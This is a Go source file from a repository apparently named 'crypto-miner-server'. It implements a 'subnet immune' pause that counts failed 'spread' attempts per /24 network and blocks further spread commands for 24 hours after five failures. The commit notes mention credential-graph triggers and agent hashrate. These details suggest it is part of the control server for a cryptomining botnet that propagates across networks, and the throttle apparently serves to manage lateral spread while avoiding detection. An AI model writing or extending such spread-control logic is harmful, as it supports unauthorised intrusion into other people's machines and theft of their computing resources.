Files
AetherForge/server/internal/atlas/subnet_immune.go
AetherForge 588735e7e7
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Complete subnet immune autopsy UI and prefix normalization.
Normalize /24 labels for autopsy API and cred-graph triggers; add Emberwake/Path Tracer autopsy cards and Vitest coverage for Seer feed consumers.
2026-06-07 09:22:56 -07:00

87 lines
2.2 KiB
Go

package atlas
import (
"strings"
"time"
"crypto-miner-server/internal/db"
)
const (
SubnetSpreadFailureThreshold = 5
SubnetSpreadPauseDuration = 24 * time.Hour
)
// SubnetImmune applies fleet-wide /24 spread pause after repeated failures.
type SubnetImmune struct {
db *db.Database
}
func NewSubnetImmune(database *db.Database) *SubnetImmune {
return &SubnetImmune{db: database}
}
// PrefixFromHostOrIP normalizes a host IP or subnet label to a /24 prefix key.
func PrefixFromHostOrIP(hostOrSubnet string) string {
s := strings.TrimSpace(hostOrSubnet)
s = strings.TrimSuffix(s, ".x")
s = strings.TrimSuffix(s, ".0/24")
s = strings.TrimSuffix(s, "/24")
if prefix := SubnetPrefix(s); prefix != "" {
return prefix
}
parts := strings.Split(s, ".")
if len(parts) >= 3 && parts[0] != "" && parts[1] != "" && parts[2] != "" {
return strings.Join(parts[:3], ".")
}
return ""
}
// RecordSpreadFailure increments subnet failure count; returns true when pause activates.
func (s *SubnetImmune) RecordSpreadFailure(hostOrSubnet string) (bool, error) {
if s == nil || s.db == nil {
return false, nil
}
prefix := PrefixFromHostOrIP(hostOrSubnet)
if prefix == "" {
return false, nil
}
return s.db.RecordSubnetSpreadFailure(prefix)
}
// IsSpreadPaused reports whether spread commands targeting prefix should be blocked.
func (s *SubnetImmune) IsSpreadPaused(hostOrSubnet string) (bool, error) {
if s == nil || s.db == nil {
return false, nil
}
prefix := PrefixFromHostOrIP(hostOrSubnet)
if prefix == "" {
return false, nil
}
return s.db.IsSubnetSpreadPaused(prefix)
}
// SpreadActionBlocked returns an error when prefix is under immune pause.
func (s *SubnetImmune) SpreadActionBlocked(hostOrSubnet string) error {
paused, err := s.IsSpreadPaused(hostOrSubnet)
if err != nil {
return err
}
if paused {
return &SpreadPauseError{Prefix: PrefixFromHostOrIP(hostOrSubnet)}
}
return nil
}
// SpreadPauseError is returned when a /24 is under subnet immune response.
type SpreadPauseError struct {
Prefix string
}
func (e *SpreadPauseError) Error() string {
if e == nil || e.Prefix == "" {
return "subnet spread paused (immune response)"
}
return "subnet " + e.Prefix + " spread paused for 24h (immune response)"
}